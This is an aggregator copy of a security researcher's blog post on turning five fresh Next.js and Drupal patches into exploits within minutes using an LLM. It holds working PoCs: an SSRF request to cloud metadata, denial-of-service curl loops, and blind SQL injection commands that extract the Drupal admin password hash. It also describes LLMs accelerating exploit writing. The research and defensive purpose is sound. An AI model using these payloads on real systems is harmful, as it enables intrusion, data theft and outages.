{"slug": "30-minutes-from-patch-to-exploit", "title": "30 Minutes from patch to exploit", "summary": "A security researcher exploited five recently patched vulnerabilities in under 30 minutes each, with the fastest exploit taking just two minutes, using an LLM to assist with patch diff analysis. The researcher demonstrated that a Next.js server-side request forgery vulnerability, CVE-2026-44578, could be exploited in under five minutes by sending a WebSocket upgrade request with an absolute URL to internal services like cloud metadata endpoints. The findings show that the gap between patch release and working exploit creation has shrunk to minutes, undermining the effectiveness of traditional 90-day disclosure policies.", "body_md": "#\n[30 Minutes from patch to exploit](https://blog.himanshuanand.com/2026/05/30-minutes-from-patch-to-exploit/)\n\n## Table of Contents\n\n## TLDR;[⌗](#tldr)\n\nI read five security patches and I derived working exploits from all five. The slowest took 30 minutes and the fastest took two. An LLM did most of the heavy lifting while I pushed buttons, this is the working behind my blog [the 90 day disclosure policy is dead](https://blog.himanshuanand.com/2026/05/the-90-day-disclosure-policy-is-dead/): the gap between “patch ships” and “exploit exists” is now measured in minutes.\n\nIn the first post I mentioned that a patch can be turned into a working exploit in 30 minutes. In this blog we will go though detailed analysis of it.\n\nI picked five CVEs from the last three weeks all real and now patched. Impacting the software you probably run. I did patch diffs and an LLM and timed myself withput any insider knowledge and with no prior research on the targets, only public advisory, public commit and a model that can read code.\n\n## next.js SSRF in 5 minutes[⌗](#nextjs-ssrf-in-5-minutes)\n\nOn May 6, Vercel dropped [twelve security advisories](https://github.com/vercel/next.js/releases/tag/v15.5.16) for Next.js in a single release, yes you read this right “12” in one day.\n\nI started with the worst one [CVE-2026-44578](https://github.com/vercel/next.js/security/advisories/GHSA-c4j6-fc7j-m34r): server-side request forgery through WebSocket upgrade requests. CVSS 8.6. Affects every self-hosted Next.js deployment from 13.4.13 to 15.5.15. Three years of exposure.\n\nThe advisory says: *“We now apply the same safety checks to WebSocket upgrade handling that already existed for normal HTTP requests.”*\n\nOne sentence that tells me the upgrade path had *no* safety checks before. Si, I pulled the commit and the fix was six lines two boolean checks that should have been there from day one. The server was forwarding WebSocket upgrade requests to any URL an attacker put in the request line. No allow-list and No routing approval just “does the URL have a protocol? Proxy it”\n\nThe exploit is an HTTP request with an absolute URL in the request line and WebSocket upgrade headers. Send `GET http://169.254.169.254/latest/meta-data/ HTTP/1.1`\n\nto any self-hosted Next.js app, the server opens a TCP connection to your target and relays the response back with Cloud metadata endpoints, Internal APIs, Docker internal services or anything the server can reach.\n\nNo login, No rewrite rules needed. Reading the advisory: 30 seconds. Understanding the diff: 2 minutes. Writing the PoC: 2 minutes. **Total: under 5 minutes.**\n\nThe thing that made me lol. Vercel shipped the working PoC *inside the patch commit*. The test file contains a function called `sendAbsoluteUrlUpgradePayload`\n\n. It asserts the patched server does NOT proxy the request. Which means the unpatched server DOES. You do not even need an LLM, just need to read the test.\n\n## how the patch works\n\nThe vulnerable code in `router-server.ts`\n\nhad a simple flow for WebSocket upgrade requests: parse the URL, check if it has a protocol field and if so proxy it.\nThe patch adds two guards: the routing pipeline must have explicitly `finished`\n\n(meaning a rewrite rule matched and approved the destination) AND the result must not carry a `statusCode`\n\n(meaning it was not a redirect or error).\n\nThe root cause is that Node.js’s URL parser sets `protocol: 'http:'`\n\non any absolute URL. The HTTP/1.1 spec allows absolute URLs in request lines browsers never send them, but nothing stops a raw socket from doing so. The upgrade handler trusted this parsed protocol as a signal to proxy, while it should have required explicit routing approval.\n\nThe fix file is `packages/next/src/server/lib/router-server.ts`\n\n, commit [ c4f69086cc](https://github.com/vercel/next.js/commit/c4f69086cc).\n\n## full patch diff + exploit payload\n\n**The diff:**\n\n```\n- const { matchedOutput, parsedUrl } = await resolveRoutes({\n-   req, res, isUpgradeReq: true, signal: signalFromNodeResponse(socket),\n- })\n+ const { finished, matchedOutput, parsedUrl, statusCode } =\n+   await resolveRoutes({\n+     req, res, isUpgradeReq: true, signal: signalFromNodeResponse(socket),\n+   })\n\n  if (matchedOutput) {\n    return socket.end()\n  }\n\n- if (parsedUrl.protocol) {\n-   return await proxyRequest(req, socket, parsedUrl, head)\n+ if (finished && parsedUrl.protocol) {\n+   if (!statusCode) {\n+     return await proxyRequest(req, socket, parsedUrl, head)\n+   }\n+   return socket.end()\n  }\n```\n\n**The exploit payload (raw HTTP):**\n\n```\nGET http://169.254.169.254/latest/meta-data/ HTTP/1.1\nHost: your-nextjs-app.com\nConnection: Upgrade\nUpgrade: websocket\nSec-WebSocket-Version: 13\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\n```\n\n**The PoC Vercel shipped in the test file ( rewrite-request-smuggling.test.ts):**\n\n``` js\nconst payload = Buffer.from(\n  `GET http://127.0.0.1:${targetPort}${ssrfProbePath} HTTP/1.1\\r\\n` +\n  `Host: 127.0.0.1:${nextPort}\\r\\n` +\n  `Connection: Upgrade\\r\\nUpgrade: websocket\\r\\n` +\n  `Sec-WebSocket-Version: 13\\r\\n` +\n  `Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\\r\\n\\r\\n`,\n  'latin1'\n)\n```\n\n**Python PoC:**\n\n``` python\nimport socket\n\npayload = (\n    f\"GET http://INTERNAL_HOST:PORT/path HTTP/1.1\\r\\n\"\n    f\"Host: nextjs-target:3000\\r\\n\"\n    f\"Connection: Upgrade\\r\\n\"\n    f\"Upgrade: websocket\\r\\n\"\n    f\"Sec-WebSocket-Version: 13\\r\\n\"\n    f\"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\\r\\n\"\n    f\"\\r\\n\"\n).encode(\"latin-1\")\n\nsock = socket.create_connection((\"nextjs-target\", 3000), timeout=5)\nsock.sendall(payload)\nprint(sock.recv(4096).decode())\nsock.close()\n```\n\n**Lab reproduction:**\n\nThe Docker Compose lab at the bottom of this post includes a vulnerable Next.js 15.5.15 instance and an internal canary service the SSRF PoC confirms the server enters the proxy code path for any absolute-URL upgrade request. In the lab, `http-proxy`\n\n’s WebSocket mode has a connectivity nuance with the canary (it expects a real WebSocket handshake), but the server-side proxy trigger is confirmed via the error log: `Failed to proxy http://INTERNAL_TARGET`\n\nthe server *attempted* to connect to the attacker-controlled URL. In production with a real internal HTTP service, the response relays back cleanly.\n\n## was it a fluke? (spoiler: no)[⌗](#was-it-a-fluke-spoiler-no)\n\nOkay maybe I got lucky with the SSRF, maybe that one was unusually easy. I had never looked at the Next.js source before this and yet here I am with a working 1-day exploit. Let’s try the other patches from the same May 6 release and see if we can keep the streak going.\n\n### CVE-2026-44579 : connection exhaustion via one header (2 minutes)[⌗](#cve-2026-44579--connection-exhaustion-via-one-header-2-minutes)\n\nThe fix was one line, they have added a header name to a strip-list and that was it.\n\nThe `Next-Resume`\n\nheader is an internal header used by Vercel’s edge proxy to resume Partial Prerendered pages. This should NOT come from a client but on self-hosted deployments, nobody was stripping it. An attacker sends a POST with `Next-Resume: 1`\n\nand a small body. The server enters a request-body handling deadlock, the connection stays open and eats a file descriptor. Repeat this 500 times and legitimate users get connection refused.\n\nThe PoC is `curl`\n\nin a loop, 2 minutes from advisory to exploit. The fix was 1 line of code.\n\n## how the patch works\n\nNext.js maintains an `INTERNAL_HEADERS`\n\narray in `packages/next/src/server/lib/server-ipc/utils.ts`\n\nHeaders in this list are stripped from incoming requests before they reach application code the `Next-Resume`\n\nheader was missing from this list, so external clients could inject it.\n\nWhen the server receives a `Next-Resume`\n\nheader on a POST to a server action endpoint, it enters the Partial Prerendering resume flow. This flow expects a specific binary format in the request body a malformed or minimal body causes the handler to wait indefinitely for more data, holding the connection open and consuming a file descriptor and worker slot.\n\nThe fix: add `'next-resume'`\n\nto the `INTERNAL_HEADERS`\n\narray, 1 string per array.\n\n## full patch diff + PoC\n\n**The diff (commit **\n\n`73de045895`\n\n):\n\n``` js\n const INTERNAL_HEADERS = [\n   'x-matched-path',\n   'x-nextjs-data',\n   'x-next-resume-state-length',\n+  'next-resume',\n ]\n```\n\n**The PoC:**\n\n``` bash\n#!/usr/bin/env bash\nHOST=\"${1:-127.0.0.1}\"\nPORT=\"${2:-3000}\"\n\nfor i in $(seq 1 500); do\n  curl -sS -o /dev/null \\\n    -X POST \"http://${HOST}:${PORT}/\" \\\n    -H \"Next-Resume: 1\" \\\n    -H \"Content-Type: text/plain\" \\\n    -H \"Next-Action: deadbeef\" \\\n    --data \"x\" \\\n    --max-time 120 &\n\n  if [ $((i % 50)) -eq 0 ]; then\n    echo \"Sent ${i}/500...\"\n    sleep 1\n  fi\ndone\n\nsleep 5\n# Health check\ncurl -sS -o /dev/null -w \"HTTP %{http_code}\" \\\n  --connect-timeout 5 \"http://${HOST}:${PORT}/\"\n```\n\n**Note:** This requires the target to use Cache Components (Partial Prerendering). If PPR is not enabled the header is ignored and the deadlock does not trigger.\n\n### CVE-2026-44577 : image optimizer OOM (3 minutes)[⌗](#cve-2026-44577--image-optimizer-oom-3-minutes)\n\nThe image optimizer at `/_next/image`\n\nfetches local images through a mocked internal request external images already had a size limit while internal images did not. Drop a large file in `public/`\n\n, request it through the image optimizer five times in parallel and the server buffers hundreds of megabytes into process memory. Node.js OOMs and crashes BOOM.\n\nThe default `images.localPatterns`\n\nconfig allows all local paths, default config, default vulnerability. 3 minutes to exploit.\n\n## how the patch works\n\nThe `fetchInternalImage`\n\nfunction in `packages/next/src/server/image-optimizer.ts`\n\ncreates a mocked HTTP request/response pair to fetch local assets the mocked response in `packages/next/src/server/lib/mock-request.ts`\n\nbuffered the entire response body with no size limit.\n\nThis patch adds a `maximumResponseBody`\n\nparameter to both `fetchInternalImage`\n\nand `MockedResponse`\n\nand when the accumulated buffer exceeds the limit, the response throws `ERR_MAX_BODY_SIZE_EXCEEDED`\n\nbefore it can exhaust process memory.\n\nThis was a regression in the security model external image fetches had this limit via `images.maximumResponseBody`\n\n, but the internal fetch path was added later and missed the check.\n\n## full patch diff + PoC\n\n**The diff (commit **\n\n`3f1b7b7501`\n\n):\n\n```\n export async function fetchInternalImage(\n   href: string,\n   _req: IncomingMessage,\n   _res: ServerResponse,\n+  maximumResponseBody: number,\n   handleRequest: (\n     newReq: IncomingMessage,\n     newRes: ServerResponse,\n@@ -862,6 +863,7 @@\n       url: href,\n       method: _req.method || 'GET',\n       socket: _req.socket,\n+      maximumResponseBody,\n     })\n```\n\nAnd in `MockedResponse`\n\n:\n\n```\n+  private maximumResponseBody?: number\n+  private totalSize: number = 0\n\n   constructor(res: MockedResponseOptions = {}) {\n+    this.maximumResponseBody = res.maximumResponseBody\n```\n\n**The PoC:**\n\n``` bash\n#!/usr/bin/env bash\n# Create a 200MB file in public/\ndd if=/dev/zero of=public/big.bin bs=1M count=200\n\n# Fire 5 parallel requests through the image optimizer\nfor i in {1..5}; do\n  curl -o /dev/null \\\n    \"http://target/_next/image?url=%2Fbig.bin&w=$((16+i))&q=75\" &\ndone\nwait\n\n# Check if the server survived\ncurl -o /dev/null -w \"HTTP %{http_code}\" http://target/\n```\n\nEach request forces the server to buffer 200 MB into process memory, five concurrent requests = ~1 GB of memory pressure. On a container with 512 MB memory limit, two requests should be enough.\n\n## okay let me try something harder[⌗](#okay-let-me-try-something-harder)\n\nAt this point the jokey narrative writes itself 3 CVEs, all trivial, all derived in under five minutes. TBH Were they *all* this easy? let’s grabbed the fourth Next.js patch from the same batch to find out.\n\n### CVE-2026-44574 : middleware bypass (the honest miss)[⌗](#cve-2026-44574--middleware-bypass-the-honest-miss)\n\nThis is the one where the LLM hit a wall.\n\nThe vulnerability lets an attacker bypass middleware authorization on dynamic routes. The URL path stays the same, Middleware sees `/posts/public-post`\n\nand allows it. But a crafted query parameter secretly replaces the dynamic route value, so the page renders content from `/posts/admin-only-post`\n\n.\nThe middleware check passes -> wrong content loads ->Authorization bypassed.\n\nI stared at this for 45 minutes the diff is 48 lines across 6 files. It involves the standalone build pipeline, an internal parameter serialization format and the subtle interaction between middleware route matching and page-level parameter resolution. The LLM got me to “there is a parameter injection here” in 5 minutes but it could not construct a working bypass without me explaining how standalone mode’s routing diverges from `next start`\n\n.\n\n**This one took 45 minutes.** The LLM replaced the first 80% of the work. The last 20% still needed someone who understands how Next.js deployment modes actually behave.\n\nLLMs have not replaced humans (yet).\n\n## why this one was harder\n\nThe vulnerability exists only in standalone mode deployments when Next.js is built with `output: 'standalone'`\n\nand served through a custom proxy that consumes `required-server-files.json`\n\n. In this mode the proxy adds query parameters with an `nxtP`\n\nprefix to pass dynamic route values to the page renderer pre patch the page renderer’s `normalizeQueryParams()`\n\nfunction honor these `nxtP`\n\nparameters from any source including external client requests.\n\nThe fix adds an `isWrappedByNextServer`\n\nflag When set (meaning the request came through the full `next start`\n\npipeline) `normalizeQueryParams`\n\nruns normally when NOT set (standalone proxy mode), only `filterInternalQuery`\n\nruns that strips the injection vector.\n\nThe difficulty: you need to know that\n1: standalone mode exists\n2: it uses `nxtP`\n\nprefixed params\n3: these params override the dynamic route values\n4: the middleware runs against the URL path, not the resolved params\n\nNone of this is in the advisory you have to trace it through the route-module code.\n\nThe LLM identified `normalizeQueryParams`\n\nas the dangerous function and the `nxtP`\n\nprefix as the injection vector but it proposed testing against `next start`\n\nfirst (wrong that path was already safe) and needed me to explain the standalone routing divergence before the PoC worked.\n\n## full patch diff + analysis\n\n**The diff (commit **\n\n`87080764c9`\n\n):\n\n```\n// router-server-context.ts\n+    // indicates request handlers are already wrapped by next-server\n+    isWrappedByNextServer?: boolean\n\n// next-server.ts\n+    routerServerGlobal[RouterServerContextSymbol][\n+      relativeProjectDir\n+    ].isWrappedByNextServer = true\n\n// route-module.ts\n-    serverUtils.normalizeQueryParams(query, routeParamKeys)\n+    if (!routerServerContext?.isWrappedByNextServer) {\n+      serverUtils.normalizeQueryParams(query, routeParamKeys)\n+    } else {\n+      serverUtils.filterInternalQuery(query, [])\n+    }\n```\n\n**Attack flow:**\n\n1: Target has a dynamic route `/posts/[slug]`\n\nprotected by middleware\n2: Middleware checks `req.nextUrl.pathname`\n\n: sees `/posts/public-post`\n\nallows it\n3: Attacker appends `?nxtPslug=admin-only-post`\n\nto the URL\n4: In standalone mode, `normalizeQueryParams`\n\nreplaces the `slug`\n\nparam with `admin-only-post`\n\n5: The page renders admin content, but middleware never saw it\n\n**Why the LLM missed it?**\n\nThe model correctly identified the injection vector but proposed testing against `next start`\n\nwhich already had the `isWrappedByNextServer`\n\nflag set (the fix was already the default behavior for that path). The exploit only works against standalone deployments using the `required-server-files.json`\n\nproxy pattern. Understanding this required knowing Next.js deployment architecture not just reading the diff.\n\n**Derivation timeline:** 5 min to identify the concept and 40 min to build the deployment mode specific PoC.\n\n## The cross-language closer: drupal core SQL injection in 25 minutes[⌗](#the-cross-language-closer-drupal-core-sql-injection-in-25-minutes)\n\nIf in case you are thinking this is JS problem, then you are worng this is a *software* problem.\n\nFive days ago May 20, 2026 Drupal published [SA-CORE-2026-004](https://www.drupal.org/sa-core-2026-004) [CVE-2026-9082](https://nvd.nist.gov/vuln/detail/CVE-2026-9082) SQLi in Drupal core CVSS 9.8 from Drupal’s own assessment impacting every version since 8.9.0 released in 2020. (Wooping 6 yeas of exposure)\n\nCISA added it to the [Known Exploited Vulnerabilities catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) within **48 hours** of disclosure Federal agencies were given until May 27 to patch 5 days for a bug that had existed for six years.\n\nThe entire patch is three lines. `array_values()`\n\nreset associative array keys to numeric indices. The bug: Drupal’s SQL query builder concatenated user-supplied array *keys* into prepared-statement placeholder names. If you control the keys and JSON:API lets you control the keys, you control the SQL.\n\nThe LLM identified the injection pattern in under a minute LLM’s human work was finding where user input arrives as an associative array. JSON:API’s filter syntax was the answer enabled by default on many installations with no authentication required.\n\n**Total: about 25 minutes.** Reading the advisory, pulling the commit, understanding the fix, finding the entry point and writing the PoC\n\n## how the injection works\n\nDrupal’s Entity Query SQL condition builder in `core/lib/Drupal/Core/Entity/Query/Sql/Condition.php`\n\nbuilds prepared-statement placeholders by concatenating a field name prefix with the array key of each condition value:\n\n``` php\n$where_prefix = str_replace('.', '_', $condition['real_field']);\nforeach ($condition['value'] as $key => $value) {\n    $where_id = $where_prefix . $key;\n    $condition['where'] .= 'LOWER(:' . $where_id . '),';\n    $condition['where_args'][':' . $where_id] = $value;\n}\n```\n\nWhen `$condition['value']`\n\nis an associative array (string keys), those keys are concatenated directly into the WHERE clause. PDO’s placeholder regex only matches identifier characters, so anything after the first non identifier character (`;`\n\n, space, `)`\n\n) in the key leaks as raw, unparameterized SQL.\n\nThe fix: `$condition['value'] = array_values($condition['value'])`\n\nforce numeric keys before the loop runs.\n\nThe attack surface is JSON:API, which allows filter parameters with string keys: `filter[field][value][ATTACKER_KEY]=value`\n\nThe attacker controlled key becomes part of the SQL.\n\n## full patch diff + PoC\n\n**The diff (commit **\n\n`7a01774668`\n\n):\n\n```\n--- a/core/lib/Drupal/Core/Entity/Query/Sql/Condition.php\n+++ b/core/lib/Drupal/Core/Entity/Query/Sql/Condition.php\n@@ -67,6 +67,9 @@\n           continue;\n         }\n         $condition['real_field'] = $field;\n+        if (is_array($condition['value'])) {\n+          $condition['value'] = array_values($condition['value']);\n+        }\n         static::translateCondition($condition, ...);\n```\n\nSame fix in `ConditionAggregate.php`\n\nand `pgsql/src/EntityQuery/Condition.php`\n\n**The PoC (time based blind injection via JSON:API):**\n\n```\n# MySQL/MariaDB target\ncurl -G \"http://target/jsonapi/node/article\" \\\n     --data-urlencode 'filter[uid.uid][operator]=IN' \\\n     --data-urlencode \"filter[uid.uid][value][) OR SLEEP(5)-- ]=1\"\n```\n\n**What the SQL becomes:**\n\n```\nWHERE ... IN (LOWER(:field_uid_) OR SLEEP(5)-- , LOWER(:field_uid_1))\n```\n\nPDO binds `:field_uid_`\n\n(stops at `)`\n\n) and `:field_uid_1`\n\n. The `OR SLEEP(5)--`\n\nsits in the raw SQL, unparameterized. The database executes it.\n\n**For PostgreSQL targets:**\n\n```\ncurl -G \"http://target/jsonapi/node/article\" \\\n     --data-urlencode 'filter[uid.uid][operator]=IN' \\\n     --data-urlencode \"filter[uid.uid][value][) OR (SELECT pg_sleep(5))-- ]=1\"\n```\n\n**For data exfiltration, replace SLEEP with a conditional subquery:**\n\n```\n# Extract first char of admin password hash\ncurl -G \"http://target/jsonapi/node/article\" \\\n     --data-urlencode 'filter[uid.uid][operator]=IN' \\\n     --data-urlencode \"filter[uid.uid][value][) OR IF(SUBSTRING((SELECT pass FROM users_field_data WHERE uid=1),1,1)='$',SLEEP(3),0)-- ]=1\"\n```\n\nIf the response takes 3 seconds, the first character is `$`\n\n(which it is Drupal password hashes start with `$`\n\n). Repeat for each position. Classic blind SQLi.\n\n**Derivation timeline:**\n\n- Reading advisory: 1 min\n- Pulling commit: 30 sec\n- Understanding\n`array_values()`\n\nas the fix: 2 min - LLM identifies injection pattern: 1 min\n- Finding JSON:API as the entry point: 10 min (grepping for where user input becomes associative arrays)\n- Writing the PoC: 5 min\n- Testing variants (MySQL vs PostgreSQL): 5 min\n\n**Total: ~25 minutes.** The LLM did the code analysis LLM’s human found the entry point.\n\n## the scorecard[⌗](#the-scorecard)\n\n| CVE | Target | Bug class | Patch size | Derivation time | LLM contribution |\n|---|---|---|---|---|---|\n| CVE-2026-44578 | Next.js | SSRF | 13 lines | 5 min |\nRead the diff, identify the missing check. PoC was in the test file. |\n| CVE-2026-44579 | Next.js | DoS | 1 line | 2 min |\n“The header name is the exploit.” |\n| CVE-2026-44577 | Next.js | DoS | 27 lines | 3 min |\nTraced the missing size-limit code path. |\n| CVE-2026-44574 | Next.js | Auth bypass | 48 lines | 45 min |\nGot the concept fast, needed human for deployment-mode-specific PoC. Honest miss on first attempt. |\n| CVE-2026-9082 | Drupal | SQLi | 3 lines | 25 min |\nIdentified injection pattern instantly, needed human to find JSON:API entry point. |\n\nFour out of five in under 10 minutes, fifth one took 45 and required domain specific knowledge LLM did the first 80% every single time.\n\n## what this means[⌗](#what-this-means)\n\nWhen I wrote [“the 90 day disclosure policy is dead”](https://blog.himanshuanand.com/2026/05/the-90-day-disclosure-policy-is-dead/), I mentioned the React story: 30 minutes from patch to exploit “I was not exaggerating”.\n\nThe patches are the exploit documentation. The diffs tell you what was broken, where and how to trigger it. An LLM can read a diff and explain the vulnerability in plain English in seconds. The “reverse engineering” that used to take days now takes minutes because the model understands code flow, identifies missing safety checks and can even write the PoC.\n\nCISA added the Drupal SQLi to KEV within 48 hours, Microsoft saw Dirty Frag in the wild within 24 hours.\n\nThe n-day gap the comfortable buffer between “patch ships” and “exploit lands” is gone becasue every patch is an exploit tutorial and every advisory is an attack playbook. The only thing protecting users is the speed at which they apply the update.\n\nAnd if you are still on a monthly patch cycle you are giving attackers 30 days of free entry ticket.\n\n## what to do about it[⌗](#what-to-do-about-it)\n\nI covered the defensive playbook in detail in [score by collisions, patch by panic](https://blog.himanshuanand.com/2026/05/score-by-collisions-patch-by-panic/).\n\nShort version:\n\n-\n**Patch critical issues in hours, not days.** The Drupal SQLi went from disclosure to CISA KEV in 48 hours. Your patch cycle needs to beat that. -\n**Monitor patch diffs, not just advisories.** The advisory for the Next.js SSRF says “server-side request forgery through crafted WebSocket upgrade requests.” The diff tells you the exact payload format. Attackers read diffs. You should too. -\n**Run LLM-assisted analysis on every upstream patch.** If I can derive a PoC in 5 minutes, your security team should be deriving the same PoC and writing a WAF rule in the same 5 minutes. -\n**Virtual patching is not optional.** When you cannot deploy a code fix in 4 hours, a WAF rule or reverse-proxy header strip buys time. The Next-Resume DoS fix is literally “strip a header.” You can do that at the edge in seconds. -\n**Assume the exploit exists the moment the patch ships.** Not “might exist.” Exists.\n\n## the lab environment\n\nEverything in this post was tested against a local Docker Compose lab. No external targets were touched.\n\n**Components:**\n\n**Next.js 15.5.15**(vulnerable) running via`next start`\n\non port 3000**Internal canary service** on port 8888 (Python HTTP server, Docker-internal only)**Drupal 11.2.11**(vulnerable) with MariaDB on port 8080\n\n**Setup:**\n\n```\ngit clone https://github.com/unknownhad/patch-to-exploit.git\ncd patch-to-exploit/labs\ndocker compose up -d\n```\n\n**PoC scripts:**\n\n`pocs/01-nextjs-ssrf.py`\n\n: CVE-2026-44578 SSRF via WebSocket upgrade`pocs/02-nextjs-image-dos.sh`\n\n: CVE-2026-44577 Image Optimization OOM`pocs/03-nextjs-cache-dos.sh`\n\n: CVE-2026-44579 Next-Resume connection exhaustion`pocs/04-drupal-sqli.py`\n\n: CVE-2026-9082 Drupal JSON:API blind SQL injection\n\nEach script has `--help`\n\nwith usage instructions. The README in the repo has full setup and reproduction steps.\n\n**Honest lab notes:**\n\n- The SSRF PoC confirms the proxy trigger (server attempts to connect to attacker controlled URL) but the lab’s\n`http-proxy`\n\nWebSocket mode expects a real WebSocket handshake from the canary in production with a real HTTP service as the SSRF target, the response relays back cleanly. The server side behavior (outbound connection attempt) is the proof of vulnerability. - The Image DoS was not fully validated because the lab container needs a large file in\n`public/`\n\nand sufficient memory limits to observe the OOM vs the kernel killing the process first. - The Cache DoS requires PPR enabled routes to trigger the deadlock a basic Next.js app without Cache Components will ignore the header.\n- The Drupal SQLi requires completing the Drupal installation wizard and enabling JSON:API before the PoC works.\n\nIf any of this resonated, [hit me up](https://x.com/anand_himanshu). If you think I am wrong about any of the PoCs *especially* hit me up. The whole point is to get holes punched in this before someone less friendly does.\n\nThanks for reading.\n\n*This is the third post in the series. Previous:*\n\n*Next:*\n\n**10 people found my bug before me**(the duplicate finder problem and what it means for bounties) →*coming soon***defender playbook for the LLM era**(practical integration patterns) →*coming soon*", "url": "https://wpnews.pro/news/30-minutes-from-patch-to-exploit", "canonical_source": "https://blog.himanshuanand.com/2026/05/30-minutes-from-patch-to-exploit/", "published_at": "2026-05-27 00:00:00+00:00", "updated_at": "2026-05-27 10:44:31.981121+00:00", "lang": "en", "topics": ["large-language-models", "ai-tools", "ai-research"], "entities": ["Vercel", "Next.js", "CVE-2026-44578", "Himanshu Anand"], "alternates": {"html": "https://wpnews.pro/news/30-minutes-from-patch-to-exploit", "markdown": "https://wpnews.pro/news/30-minutes-from-patch-to-exploit.md", "text": "https://wpnews.pro/news/30-minutes-from-patch-to-exploit.txt", "jsonld": "https://wpnews.pro/news/30-minutes-from-patch-to-exploit.jsonld"}}